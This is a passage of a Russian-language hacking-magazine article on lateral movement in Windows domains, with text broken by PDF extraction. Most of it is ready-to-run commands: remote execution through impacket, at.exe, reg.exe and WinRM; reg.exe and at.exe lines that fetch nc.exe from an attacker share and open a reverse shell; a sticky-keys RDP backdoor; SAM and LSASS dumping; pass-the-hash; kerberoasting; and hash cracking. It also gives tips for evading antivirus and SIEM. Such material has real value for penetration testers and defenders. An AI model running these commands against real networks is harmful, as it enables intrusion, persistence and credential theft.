svcctl

smbexec.py ‐mode SHARE admin@target

В резуль тате будет открыт дос туп к инте рак тивной коман дной стро ке.

services.py
 Python‐пакет impacket• Про исхожде ние:

 отсутс тву ет• AV-риск:

 445/TCP• Ис поль зуемые пор ты:

Еще  более  упро щен ный  вари ант  .  Тут  пред полага ется,  что  мы  сами
руч ками дела ем  то,  что дела ет  за  нас  . С помощью    мы
можем пос мотреть спи сок служб:

psexec
psexec services.py

services.py admin@target list

Соз дать новую служ бу, ука зав про изволь ную коман ду:

services.py admin@target create ‐name 1 ‐display 1 ‐path 'cmd arg1 
arg2'

За пус тить толь ко что соз данную служ бу:

services.py admin@target start ‐name 1

За мес ти сле ды и уда лить ее:

services.py admin@target delete ‐name 1

Все  это  дает  нам  еще  один  спо соб  сле пого  неин терак тивно го  исполне ния
команд, то есть без резуль тата. Зато это на сто про цен тов безопас ный спо‐ 
соб, и он не раз выручал меня, ког да анти виру сы на уда лен ном хос те уби вали
весь левый софт.

atexec.py/at.exe
  Python‐пакет  impacket  /  встро енный  ком понент

Windows
• Про исхожде ние:

 отсутс тву ет• AV-риск:

 445/TCP• Ис поль зуемые пор ты:

Служ ба  пла ниров щика  заданий Windows,  дос тупная  через  smb‐пайп  .
Поз воля ет  уда лен но  помес тить  в  пла ниров щик  задачу,  которая  выпол нится
в ука зан ный момент. В обо их слу чаях это неин терак тивное средс тво уда лен‐ 
ного  исполне ния  кода.  При  исполь зовании    про исхо дит  сле пое
исполне ние команд:

atsvc

at.exe

at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc ‐e \
windows\system32\cmd.exe attacker 8888"

А вот для   коман да выпол нится с резуль татом:atexec.py

atexec.py admin@target ipconfig

Вся  раз ница  в  том,  что  резуль тат  выпол нения  коман ды  будет  нап равлен
в файл и про читан через сетевой ресурс  . Для сво ей работы инс тру‐ 
мент  тре бует,  что бы  часы  у  attacker  и  target были нас тро ены на одно  вре мя
с точ ностью до минуты.

ADMIN$

reg.exe
 ком понент Windows• Про исхожде ние:

 отсутс тву ет• AV-риск:

 445/TCP• Ис поль зуемые пор ты:

Уда лен ный  дос туп  к  реес тру  с  пра вами  на  запись  на  самом  деле  нам  дает
RCE. Для сво ей работы инс тру мент тре бует SMB‐пайп  . По умол чанию
служ ба  уда лен ного  реес тра  запуще на  толь ко  на  сер верных  ОС  Windows
2003–2019. А вот извес тный трюк с авто заг рузкой (отло жен ное RCE):

winreg

reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\
run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc 
‐e \windows\system32\cmd.exe attacker 8888"

Здесь исполь зует ся обра бот чик запус ка прог раммы. Если прог рамма запус‐ 
кает ся на ПК час то, то получим поч ти мгно вен ное RCE:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /
t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc ‐e \windows\
system32\cmd.exe attacker 8888"

Мой любимый трюк с бэк дором в RDP:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t
reg_sz /d "\windows\system32\cmd.exe"

DCERPC
Ис поль зует пор ты 135/TCP и 4915x/TCP, где 4915x — динами чес ки наз нача‐ 
емые пор ты. Иног да могут исполь зовать ся пор ты из дру гого диапа зона.

Очень  час то  сетевые  адми нис тра торы  и  безопас ники,  которые  в  кур се
наибо лее рас простра нен ных век торов атак, в качес тве mitigation прос то бло‐ 
киру ют  порт  445/TCP.  Тем  самым  они  дела ют  неп ригод ным  исполь зование

  и  мно гих  дру гих  спо собов,  опи сан ных  выше. Одна ко,  как  было  ска‐ 
зано  ранее,  Windows  име ет  мно жес тво  спо собов  уда лен ного  исполне ния
кода,  и  DCERPC  пре дос тавля ет  нам  такую  аль тер натив ную  воз можность,
в некото рых слу чаях откры вая дос туп к тем же RPC‐интерфей сам. По сути, мы
будем исполь зовать не сам DCERPC, а  то,  что работа ет  по его  тех нологии,
нап ример WMI.

psexec

wmiexec.py
 Python‐пакет impacket• Про исхожде ние:

 есть• AV-риск:

 135, (445), 4915x/TCP• Ис поль зуемые пор ты:

Скрипт    дает  воз можность  выпол нить  код  в  инте рак тивном
режиме:

wmiexec.py

wmiexec.py admin@target

Од нако  было  замече но,  что  хоть    и  не  запус кает  на  уда лен ной
сто роне  никаких  сто рон них  исполня емых  фай лов,  анти виру сы  его  иног да
ловят. Кро ме того,   полезет за резуль татом на шару  , чем
задей ству ет порт 445/TCP. Более безопас ным вари антом будет сле пое RCE:

wmiexec.py

wmiexec.py ADMIN$

wmiexec.py ‐nooutput admin@target "mkdir c:\pwn"

dcomexec.py
 Python‐пакет impacket• Про исхожде ние:

 отсутс тву ет• AV-риск:

 135, (445), 4915x/TCP• Ис поль зуемые пор ты:

Инс тру мент, похожий на  . По  умол чанию он инте рак тивный, а  за
резуль татом тоже идет на сетевой диск  , исполь зуя порт 445/TCP:

wmiexec.py
ADMIN$

dcomexec.py admin@target

Что бы  обой ти  исполь зование  пор та  445/TCP,  мож но  огра ничить ся  сле пым
исполне нием кода:

dcomexec.py ‐nooutput admin@10.0.0.64 "mkdir c:\123"

wmis
 пакеты wmi‐client, wmis• Про исхожде ние:

 есть• AV-риск:

 135, 4915x/TCP• Ис поль зуемые пор ты:

Су щес тву ет  неболь шая  путани ца  c  ути литой  wmis:  она  при сутс тву ет  сра зу
в двух пакетах с оди нако вым име нем. Для ее вызова исполь зует ся сле дующая
коман да:

wmis ‐U admin //target "mkdir c:\pwn"

Прин ципи аль ной раз ницы меж ду ними я не заметил, за исклю чени ем того, что
одна может не сра ботать.

wmic.exe
 ком понент Windows• Про исхожде ние:

 отсутс тву ет• AV-риск:

 135, 4915x/TCP• Ис поль зуемые пор ты:

Дос таточ но  при коль ный  спо соб  сле пого  исполне ния  кода  «из  короб ки»
для всех ОС Windows:

wmic.exe /user:username /password:s3cr3t /node:target process call 
create '"c:\1.bat"'

Единс твен ная  коман да  Windows,  которая  неин терак тивно  при нима ет  логин
и  пароль  через  опции,  что  поз воля ет  вызывать  ее  отку да  угод но.  Дан ная
коман да потом нам силь но поможет получить админ скую учет ную запись.

sc.exe
 ком понент Windows• Про исхожде ние:

 отсутс тву ет• AV-риск:

 135, 4915x/TCP• Ис поль зуемые пор ты:

Наз начение инс тру мен та — уда лен ное управле ние служ бами и драй верами.
Ана логич но ути лите   мы можем запус тить про изволь ную коман ду
при соз дании служ бы:

services.py

sc.exe \\target create testservice binPath= \path\to\prog start= auto
sc.exe \\target start testservice

При этом в отли чие от   мы исполь зуем для это го сов сем дру гие
пор ты, так как здесь задей ство ван DCERPC.

services.py

WinRM
Под  этим  наз вани ем  скры вает ся  новое  средс тво  уда лен ного  адми нис три‐ 
рова ния  Windows  Remote  Management,  появив шееся  в  Windows  7/2008.
Исполь зует  для  сво ей  работы  в  качес тве  тран спор та  про токол  HTTP.  Но  по
умол чанию WinRM работа ет толь ко на сер верных Windows Server 2012–2019,
на  кли ент ских  же  Windows  7–10  тре бует ся  вклю чить  его  вруч ную.  Тем
не менее, ког да глав ная цель — это работа ющий на Windows Server кон трол‐ 
лер домена, дан ный спо соб доволь но полезен.

Evil-WinRM
 Ruby‐пакет • Про исхожде ние: evil‐winrm

 отсутс тву ет• AV-риск:

 5985/TCP (5986/TCP)• Ис поль зуемые пор ты:

Пре дос тавля ет инте рак тивный шелл:

evil‐winrm ‐u admin ‐i target

WinRS.exe/PowerShell
 ком понент Windows• Про исхожде ние:

 отсутс тву ет• AV-риск:

 5985/TCP (5986/TCP)• Ис поль зуемые пор ты:

С помощью это го встро енно го ком понен та ОС Windows мож но инте рак тивно
получить уда лен ный дос туп:

c:> winrs.exe ‐u admin ‐r:target cmd

Еще с исполь зовани ем PowerShell мож но выпол нять коман ды и коман дле ты:

PS:> Enter‐PSSession ‐ComputerName target ‐Credential admin
PS:>Invoke‐Command ‐ScriptBlock {ipconfig;get‐process} ‐ComputerName 
(Get‐Content targets.txt)

RDP
  пакеты  freerdp2‐x11,  rdesktop,  ком понент  Windows

 и дру гие
• Про исхожде ние:

mstsc.exe

 отсутс тву ет• AV-риск:

 3389/TCP• Ис поль зуемые пор ты:

Не самый удоб ный спо соб исполне ния кода, не самый пер спек тивный в пла‐ 
не  Pass‐the‐Hash/Pass‐the‐Ticket,  но  работа ющий  поч ти  из  короб ки  поч ти
на всех Windows:

xfreerdp /u:admin /v:target
rdesktop ‐u admin target
mstsc.exe /v:target

Продолжение статьи →
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ГИД ПО LATERAL
ИЗУЧАЕМ УДАЛЕННОЕ ИСПОЛНЕНИЕ КОДА

В WINDOWS СО ВСЕХ СТОРОН

ВЗЛОМ  НАЧАЛО СТАТЬИ←

GP
Груп повые полити ки могут помочь в исполне нии кода на хорошо защищен ных
ПК,  пол ностью  зак рытых  фай рво лом  либо  рас положен ных  в  изо лиро ван ных
сетях. Их исполь зуют в ситу ации, ког да кон трол лер домена уже взят, но надо
дви гать ся даль ше.

Тут на помощь при ходят обыч ные  груп повые полити ки. Их пре иму щес тво
перед все ми опи сан ными ранее метода ми сос тоит в  том, что они работа ют
как бы по схе ме reverse‐connect. Если до это го мы сами ини цииро вали под‐ 
клю чение и нам тре бова лись откры тые пор ты на target (135, 445, 3389, 5985,
4915x), то все, что понадо бит ся тут, — это дос туп к самому DC. Как пра вило,
DC не пря чет ся за фай рво лами, поэто му с его адми нис три рова нием не дол‐ 
жно воз никнуть проб лем.

С помощью оснас тки   соз даем груп повую полити ку для нуж ного
кон тей нера.  В  каком  кон тей нере  находит ся  target,  поможет  опре делить
оснас тка  .  Пос ле  соз дания  полити ки  на  событие    веша ется
скрипт на VBS с про изволь ным содер жимым. Для сра баты вания RCE нуж но
ждать, ког да поль зователь целевой машины пов торно вой дет в сис тему.

gpmc.msc

dsa.msc logon

Час то такие кри тичес кие ком понен ты внут ренней инфраструк туры, как кон‐ 
трол лер  домена,  охра няют ся  SIEM.  Изме нение  в  его  кон фигура ции,  в  том
чис ле  соз дание  нового  объ екта  груп повой  полити ки,  может  отсле живать ся
и  очень  негатив но  вос при нимать ся  безопас никами.  Поэто му  вмес то  соз‐ 
дания новой груп повой полити ки луч ше най ти сущес тву ющую и внед рить нуж‐ 
ный код в скрипт, рас положен ный в шаре  .SYSVOL

В таб лице ниже при веде ны основные осо бен ности раз ных методов аутен‐ 
тифици рован ного  исполне ния  кода  в  дефол тном  исполне нии  (без  модифи‐ 
каций).

Каж дый сам выбира ет для себя любимый инс тру мент. Но нуж но иметь в виду,
что иног да инс тру мент может не сра ботать. И тог да надо иметь подс тра хов ку,
уметь выпол нить код еще нес коль кими спо соба ми. Эта таб лица поможет тебе
сори енти ровать ся.

Вид но,  что наибо лее «бес шумным» спо собом исполне ния  кода оста ются
ком понен ты Windows ( ,  ,  ,  ,  , 

),  но  не  все  из  них  могут  пох вастать ся  удобс твом.  Ути литы  ,
,    не  под держи вают  переда чу  име ни  поль зовате ля  через

опции,  поэто му  для  их  исполь зования  надо  запус тить    от  нуж ного  поль‐ 
зовате ля, а в слу чае с локаль ной учет кой — пред варитель но соз дать ее.

winrs.exe sc.exe reg.exe at.exe wmic.exe psex‐
ec.exe sc.exe
reg.exe at.exe

cmd

Толь ко  что  мы  рас смот рели  раз ные  спо собы  аутен тифици рован ного
исполне ния  кода,  то  есть  legal  RCE  с  учет ной  записью.  Теперь  погово рим
о  том,  где  эти  самые  учет ные  записи  мож но  най ти,  какие  они  быва ют  и  в
каком виде пред став лены.

Локальные учетные записи
При  аутен тифика ции  юзе ров  Windows  не  раз лича ет  регистр  име ни  поль‐ 
зовате ля: ADMIN для нее то же, что и admin. Это спра вед ливо и для локаль‐ 
ных, и для домен ных учет ных записей.

Глав ная  идея  исполь зования  локаль ных  учет ных  записей  сос тоит  в  том,
что один и  тот же пароль может встре тить ся на целом ряде ПК и сер веров.
Порою  быва ет,  что  такие  локаль ные  учет ки  при водят  пря мо  на  ПК  адми нов
или сра зу на кон трол лер домена.

Ло каль ные  поль зовате ли  вмес те  с  NTLM‐хешами  хра нят ся  в  реес тре
по пути  . Сам по себе SAM (Security Account Manager) — это отдель‐ 
ный  куст  реес тра,  который  лежит  в    наряду
с дру гими кус тами. При меча тель но, что даже адми нис тра тор (за исклю чени‐ 
ем  system)  не  может  получить  дос туп  к    с  помощью 
или нап рямую ско пиро вав файл из  сис темной дирек тории. Одна ко  коман да

  поз воля ет  сде лать  это. Очень  важ но,  что мы будем извле кать  сис‐ 
темные фай лы с помощью встро енных ком понен тов ОС, а ана лизи ровать их
уже  на  нашей  сис теме.  Тем  самым  мы  абсо лют но  точ но  не  вызовем  анти‐ 
вирус ной тре воги.

HKLM\sam
\windows\system32\config\

HKLM\sam regedit.exe

reg.exe

Для извле чения локаль ных учет ных записей понадо бит ся два кус та реес‐ 
тра:

reg.exe save hklm\sam sam
reg.exe save hklm\system system

На сво ей сто роне для извле чения  хешей локаль ных  уче ток исполь зуем сле‐ 
дующую коман ду:

creddump7\pwdump.py system sam

Так же мож но вос поль зовать ся уже извес тным набором impacket:

secretsdump.py ‐system system ‐sam sam LOCAL

Пол ностью  авто мати зиро ван ный  под ход  с  помощью  дос тупа  через  remote
registry выг лядит так:

secretsdump.py admin@target

В  резуль тате  получа ем  хеши  в  фор мате 
.  В  новых  сис темах  (начиная  с  Windows  7/2008R2)  LM‐хеш  может

быть  пус тым,  то  есть  иметь  зна чение  ,
так  как  LM‐хеши  боль ше  не  исполь зуют ся  по  сооб ражени ям  безопас ности.
Пус той  пароль  NTLM‐хеша,  в  свою  оче редь,  —
это  . Во вре мя боково го переме щения,
ког да  хешей  очень  мно го,  такие  хеши  надо  обна ружи вать  сра зу  и  отбра‐ 
сывать,  так  как огра ниче ние пус того пароля не поз волит  выпол нить  уда лен‐ 
ный вход.

Username:RID:LM‐hash:NTLM‐
hash:::

aad3b435b51404eeaad3b435b51404ee

31d6cfe0d16ae931b73c59d7e0c089c0

Pass-the-Hash
Windows име ет хорошо извес тную и дос таточ но забав ную осо бен ность, поз‐ 
воля ющую исполь зовать для аутен тифика ции NTLM‐хеш без необ ходимос ти
выпол нять его брут форс и вос ста нав ливать пароль. Все извле чен ные NTLM‐
хеши  (отличные  от  )  могут  исполь‐ 
зовать ся для аутен тифика ции на сле дующих типах сер висов:

31d6cfe0d16ae931b73c59d7e0c089c0

MSRPC (SMB);•
DCERPC (WMI);•
WINRM;•
MS SQL;•
RDP (толь ко Windows 2012 R2 и Windows 8.1);•
LDAP;•
IMAP;•
HTTP.•

Но  выпол нять  код мы можем,  как  пра вило,  толь ко  на  пер вых  пяти  сер висах
из спис ка, для пос ледних трех более при мени мы ата ки  . Все рас‐ 
смот ренные инс тру мен ты из  набора  impacket  под держи вают переда чу  хеша
как LM:NTLM, так и с ука зани ем толь ко NTLM‐хеша:

NTLM‐relay

psexec.py ‐hashes LM:NTLM admin@target
wmiexec.py ‐hashes :NTLM admin@target

В дис три бути ве  Kali  есть  девять  спе циаль но  соб ранных  популяр ных  инс тру‐ 
мен тов для реали зации тех ники Pass‐the‐Hash. Все они начина ются на pth‐:

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0
pth‐winexe ‐U admin% //target cmd
pth‐wmic ‐U admin% //target "select Name from Win32_UserAccount"
pth‐wmis ‐U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth‐smbclient ‐U admin% //target/c$
pth‐rpcclient ‐U admin% //target
pth‐sqsh ‐U admin ‐S target
pth‐curl http://target/exec?cmd=ipconfig
pth‐net rpc group ADDMEM 'Administrators' username ‐S target ‐U 
domain/user

На чиная  с  вер сии  xfreerdp  v2.0.0  и  толь ко  для  Windows  2012  R2  и  Windows
8.1 мож но прой ти аутен тифика цию с исполь зовани ем NTLM‐хеша по RDP:

./client/X11/xfreerdp /v:target /u:admin /pth:
31d6cfe0d16ae931b73c59d7e0c089c0

Сов ремен ный WinRM, к счастью, тоже не под качал:

evil‐winrm ‐i target ‐u admin ‐H 31d6cfe0d16ae931b73c59d7e0c089c0

Все при меры выше — это Pass‐the‐Hash для Linux. Мы упо мина ли инс тру мен‐ 
ты Windows для уда лен ного исполне ния кода:  ,  ,  ,

,  ,  . Что бы исполь зовать их в ата ках Pass‐the‐Hash,
нуж но соз дать вре мен ную сес сию с помощью mimikatz:

psexec.exe at.exe reg.exe
wmic.exe sc.exe winrs.exe

mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:
31d6cfe0d16ae931b73c59d7e0c089c0

За тем в появив шемся окне cmd нуж ный NTLM‐хеш будет авто мати чес ки под‐ 
став лен для любой вызыва емой прог раммы:

dir \\target\c$

Кста ти, пос читать NTLM‐хеш для пароль ной фра зы мож но и самос тоятель но:

#!/usr/bin/python2
 import hashlib,binascii,sys

     if len(sys.argv) == 1:
          print binascii.hexlify(hashlib.new('md4', raw_input().decode(

'utf‐8').encode('utf‐16le')).digest())
else:

          print binascii.hexlify(hashlib.new('md4', sys.argv[1].encode(
'utf‐16le')).digest())

Bruteforce
Ес ли тре бует ся аутен тифика ция на сер висе, который не под держи вает Pass‐
the‐Hash,  нап ример  RDP,  может  быть  при мене на  ата ка  под бором  пароля
на  дос таточ но  высоких  ско рос тях.  LM‐хеши  име ют  конеч ный  набор  вход ных
зна чений, шиф руют ся половин ками по 7 байт и нечувс тви тель ны к регис тру.
Это  зна чит,  что  абсо лют но  любой  LM‐хеш  может  быть  взло ман.  С  NTLM‐
хешем ситу ация нем ного слож нее.

LM
Для  LM‐хешей  надеж нее  все го  исполь зовать  rainbows  (радуж ные  таб лицы)

:ophcrack

ophcrack ‐g ‐d /opt/rainbows/LM ‐t xp_special,0,1,2,3 ‐f hashes‐lm.
txt

Ли бо клас сичес кий брут форс по сло варю:

john ‐‐format=lm ‐‐wordlist=/usr/share/wordlists/rockyou.txt 
hashes‐lm.txt

Рань ше,  кста ти,  сущес тво вал  замеча тель ный  ,  который
любой LM‐хеш мог прев ратить в plaintext.

ки тай ский  ресурс

NTLM
Hashcat  и  John  по‐раз ному  ожи дают  подачу  NTLM‐хешей.  Так,  для  Hashcat
коман да выг лядит сле дующим обра зом:

31d6cfe0d16ae931b73c59d7e0c089c0
hashcat ‐a 0 ‐m 1000 hashes_ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat ‐a 3 ‐m 1000 hashes_ntlm.txt ‐1='?u?d?l' '?1?1?1?1?1?1'

Для John:

admin:500:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
john ‐‐format=nt ‐‐wordlist=/usr/share/wordlists/rockyou.txt 
hashes_ntlm.txt

И LM‐, и NTLM‐хеши могут быть так же най дены и для домен ных поль зовате‐ 
лей  при  ана лизе  памяти    или  в  базе  .  Они  никог да
не переда ются по сети как есть, вмес то это го они тран сли руют ся в виде Net‐
NTLM/NetNTLMv2‐хешей,  которые  неп ригод ны  для  Pass‐the‐Hash.  Дан ные
типы  хешей  одно разо вые  и  могут  быть  исполь зованы  толь ко  в  момент
переда чи  (тех ника NTLM‐relay) либо для брут форс‐атак на дос таточ но боль‐ 
ших ско рос тях.

lsass.exe ntds.dit

БИЛЕТЫ KERBEROS
Для  исполь зования Kerberos‐билетов  при  аутен тифика ции  тре бует ся  дос туп
к пор ту 88/TCP кон трол лера домена.

Kerberoasting
Тех ника   чрез вычай но полез на, так как час то с ее помощью мож‐ 
но ском про мети ровать учет ки адми нис тра торов домена и про чие инте рес ные
сер висные  учет ные  записи.  Для  сво его  при мене ния  она  тре бует  любую
домен ную учет ную запись.

kerberoasting

Суть ее зак люча ется в том, что для некото рых сер висных учет ных записей
с кон трол лера домена мож но выг рузить TGS‐билет Kerberos для дос тупа к той
или  иной  служ бе.  Эти  билеты  зашиф рованы  паролем  (NTLM‐хешем)  соот‐ 
ветс тву юще го поль зовате ля. А это зна чит, что такие билеты могут быть под‐ 
верже ны офлайн‐ата ке под бором пароля по сло варю. Поэто му край не важ но
любой ценой дос тать эти билеты.

Всех поль зовате лей, у которых мож но выг рузить TGS‐билет, мож но най ти
поис ковым LDAP‐филь тром:

(&(samAccountType=805306368)(servicePrincipalName=*)) 

Клас сичес кий  kerberoasting  мож но  выпол нить  мно гими  спо соба ми.  Нап‐ 
ример, с помощью impacket, дей ствуя из Linux:

 GetUserSPNs.py ‐request ‐dc‐ip 10.0.0.1 domain.com/username 

Ес ли ата кующий исполь зует Windows, то же самое мож но сде лать, нап ример,
с помощью  :rubeus.exe

Rubeus.exe kerberoast /outfile:hashes.txt

Rubeus ред ко палит ся анти виру сами. Но если мы рас сужда ем о пос тэкс плу‐ 
ата ции, то нуж но быть готовым к самым раз ным слож ностям. Точ кой про ник‐ 
новения во внут реннюю сеть может стать машина под управле нием Windows,
из‐за чего при дет ся исполь зовать ее небога тый арсе нал.

Су щес тву ет  спо соб  выпол нить  kerberoasting  базовы ми  средс тва ми  ОС
с помощью PowerShell:

PS> setspn ‐T domain.com ‐Q */*
PS> Add‐Type ‐AssemblyName System.IdentityModel
PS> New‐Object System.IdentityModel.Tokens.
KerberosRequestorSecurityToken ‐ArgumentList "HTTP/web01.domain.com"
PS> klist

Од нако в этом слу чае билеты получит Windows, а не мы. Они будут сох ранены
в  памяти.  К  сожале нию,  базовы ми  средс тва ми  ОС  невоз можно  сдам пить
получен ные Kerberos‐билеты в фор му, при год ную для брут форса.

Извлечение Kerberos-билетов через дамп виртуальной памяти
Ес ли анти вирус не дает  запус тить  упо мяну тые инс тру мен ты, мы можем сде‐ 
лать дамп памяти про цес са  . Есть как минимум три спо соба:lsass.exe

taskmgr.exe → ПКМ по lsass.exe → дамп памяти;•

;
• rundll32.exe  C:\windows\System32\comsvcs.dll,  MiniDump 

624 C:\temp\lsass.dmp full

.• procdump.exe ­ma lsass.exe /accepteula

Ес ли дамп уда лось соз дать, то билеты мож но безопас но извлечь уже на сво‐ 
ей сто роне:

mimikatz.exe
sekurlsa::Minidump lsass.dmp
sekurlsa::tickets /export

Од нако  иног да  анти вирус  не  давал  мне  подоб рать ся  к  ,  что,
в прин ципе, и понят но.

lsass.exe

Извлечение Kerberos-билетов через дамп физической памяти
Ес ли  к  про цес су  никак  не  подоб рать ся,  на  помощь  при дет  дамп  всей
физичес кой  памяти.  Сде лать  это  мож но  инс тру мен том  из  откры того  фрей‐ 
мвор ка по форен зике  :rekall

winpmem.exe ‐‐mode MmMapIoSpace ‐‐format raw ‐‐output ram.dmp.zip

По лучен ный  дамп  будет  вну шитель ного  раз мера  —  нес коль ко  гигабай тов.
Для  извле чения  из  него  билетов  пот ребу ется  отладчик  WinDbg  и  пла гин
для него  :mimilib.dll

windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz

Извлечение Kerberos-билетов из сетевого трафика
Дос таточ но эле ган тным решени ем может быть перех ват билетов из сетево го
тра фика в момент их выг рузки:

TCPdump.exe ‐i 1 ‐nn ‐w out.pcap
./[extracttgsrepfrompcap.py](https://github.com/nidem/kerberoast/
blob/master/extracttgsrepfrompcap.py) ‐f out.pcap ‐w out.txt

Bruteforce TGS
При менять брут форс‐ата ку име ет смысл толь ко про тив TGS Kerberos‐билетов
(билетов  для  дос тупа  к  служ бам),  так  как  они  зашиф рованы  паролем  поль‐ 
зовате ля:

john ‐‐format=krb5tgs ‐‐wordlist=/usr/share/wordlists/rockyou.txt 
hashes‐tgs.txt
hashcat3 ‐a 0 ‐m 13100 hashes‐tgs.txt /usr/share/wordlists/rockyou.
txt

Брут форс  будет  про исхо дить  на  дос таточ но  высокой  ско рос ти  —
более 1 мил лиона в секун ду ( ).$krb5tgs$23 RC4

Pass-the-Ticket
Ес ли  у  нас име ется Kerberos‐билет  TGT  (билет  поль зовате ля),  то мы можем
при менить  его  для  аутен тифика ции.  При  этом  Linux  и  Windows  исполь зуют
раз ные фор маты —  ccache  и  kirbi  соот ветс твен но.  В  свою оче редь,  билеты
могут  быть  изна чаль но  пред став лены  в  любом из  этих фор матов,  в  зависи‐ 
мос ти  от  того,  из  какой  ОС  мы  их  взя ли.  Но  и  вос поль зовать ся  ими  нуж но
уметь для любой ОС.

Под Windows для импорта билета в фор мате kirbi исполь зует ся сле дующий
под ход:

mimikatz# kerberos::ptt c:\path\to\tgt.kirbi

Для импорта в фор мате ccache:

mimikatz# kerberos::ptс c:\path\to\tgt.ccache

Пос ле  импорта  исполь зуем  любую  нуж ную  нам  прог рамму  без  ука зания
каких‐либо клю чей:

dir \\dc.company.org\c$

Под Linux дела ем Pass‐the‐Ticket в фор мате ccache:

cp tgt.ccache /tmp/krb5cc_0
klist

Как упо мина лось, Linux фор мат kirbi не понима ет. Поэто му билет нуж но скон‐ 
верти ровать в ccache c помощью  :kekeo.exe

kekeo.exe "misc::convert ccache ticket.kirbi" "exit"

Пос ле импорта билеты в Linux исполь зуем сле дующим обра зом:

smbclient ‐k //dc.company.org/c$
winexe ‐k yes ‐N //dc.company.org cmd

Так же инс тру мен ты из набора impacket могут исполь зовать билеты без пред‐ 
варитель ного импорта:

KRB5CCNAME=`pwd`/tgt.ccache psexec.py ‐k ‐dc‐ip 10.0.0.1 target.
domain.com
KRB5CCNAME=`pwd`/tgt.ccache secretsdump.py ‐k ‐no‐pass target.domain.
com
KRB5CCNAME=`pwd`/tgt.ccache atexec.py ‐k ‐no‐pass ‐dc‐ip 10.0.0.1 
target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache services.py ‐k ‐no‐pass ‐dc‐ip 10.0.0.1 
target.domain.com list

Что бы исполь зовать Kerberos‐билет при аутен тифика ции, нуж но обра щать ся
к target по име ни, а не по IP‐адре су.

ДОМЕННЫЕ УЧЕТНЫЕ ЗАПИСИ
До мен ные учет ные записи в инфраструк туре ком паний, исполь зующих Active
Directory,  счи тают ся  наибо лее  при ори тет ной  мишенью.  Имен но  домен ные
учет ные записи в ито ге при водят нас на кон трол лер домена.

Продолжение статьи →
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ГИД ПО LATERAL
ИЗУЧАЕМ УДАЛЕННОЕ ИСПОЛНЕНИЕ КОДА

В WINDOWS СО ВСЕХ СТОРОН

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Кеш хешированных доменных учетных записей
Кеш хеширо ван ных учет ных записей, или Domain Credential Cache, — это куст
реес тра, куда записы вают ся все успешные логоны в сис тему под домен ными
учет ными запися ми на слу чай, если кон трол лер домена в будущем ока жет ся
недос тупен. Содер жимое это го  кеша лег ко извлечь  уже зна комым нам спо‐ 
собом:

reg.exe save hklm\security security
reg.exe save hklm\system system

В нем хра нят ся  хеши домен ных учет ных записей. Что бы получить их, выпол‐ 
няем сле дующую коман ду:

creddump7\cachedump.py system security true

Для  ста рых  вер сий  Windows    не  всег да  извле кает  хеши,  в  таком
слу чае может при годить ся ста рый же вари ант  :

creddump7
creddump

creddump\cachedump.py system security

Ана логич но мож но вос поль зовать ся инс тру мен том из impacket:

secretsdump.py ‐system system ‐security security LOCAL

Из того же кеша есть шанс получить сох ранен ные пароли для служб откры тым
тек стом:

creddump7\lsadump.py system security

При боковом переме щении шанс встре тить в кеше учет ную запись адми нис‐ 
тра тора домена очень велик. Прав да, тут есть одно но: пос коль ку это кеш, то
нет гаран тии, что пароль пос ле кеширо вания не менял ся.

Су щес тву ет  две  вер сии  это го  хеша — dcc1  (mscash1)  и  dcc2  (mscash2).
Дан ные  хеш‐фун кции име ют  абсо лют но оди нако вую дли ну,  и  нез нание  вер‐ 
сии ОС может при вес ти к очень дол гому безус пешно му под бору пароля. Так,
если у нас Windows XP/2003, то исполь зует ся dcc1:

john ‐‐format=mscash hashes_dcc.txt ‐‐wordlist=/usr/share/wordlists/
rockyou.txt
hashcat ‐a 0 ‐m 1100 hashes_dcc.txt /usr/share/wordlists/rockyou.txt

Ес ли Windows Vista/2008–10/2019, то это dcc2:

john ‐‐format=mscash2 hashes_dcc2.txt ‐‐wordlist=/usr/share/
wordlists/rockyou.txt
hashcat ‐a 0 ‐m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txt

Сто ит  отме тить,  что  ста рые  Windows  XP/2003  более  пер спек тивны
для  боково го  переме щения,  так  как  исполь зуемая  ими  хеш‐фун кция
dcc1  в  3000  раз  сла бее  и,  сле дова тель но,  более  под верже на  ата кам  под‐ 
бором  пароля.  Поэто му,  если  домен ный  адми нис тра тор  ког да‐то  выпол нял
вход на уста рев шую ОС Windows, он, сам того не осоз навая, замет но осла бил
защиту всей инфраструк туры. Это еще один повод отка зать ся от ста рых вер‐ 
сий Windows.

Учетные данные запущенных сессий
До мен ные  учет ные  записи  так же  находят ся  в  памяти  про цес са  .
Это каса ется толь ко активных в дан ный момент сес сий. Спи сок поль зовате‐ 
лей и их про цес сов удоб но про верять встро енной коман дой  .

lsass.exe

qprocess *
Инс тру мен ты    или    уме ют  извле кать  для  активных

сес сий хеши и пароли откры тым тек стом:
mimikatz.exe wce.exe

mimikatz.exe privilege::debug sekurlsa::logonPasswords

Од нако анти виру сы почему‐то их очень не любят. Тут сно ва на помощь может
прий ти тех ника дам па памяти.

Из вле чение через дамп вир туаль ной памяти
Де лаем дамп одним из перечис ленных выше спо собов. Пос ле это го вос поль‐ 
зуем ся помощью mimikatz:

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

Из вле чение через дамп физичес кой памяти
Как  было  ска зано  чуть  рань ше,  анти вирус  может  защитить 
от  посяга тель ств  и  не  поз волить  сдам пить  про цесс  ни  одним  из  перечис‐ 
ленных  спо собов.  Тут  вновь  воору жаем ся  ути литой    и  дам пим
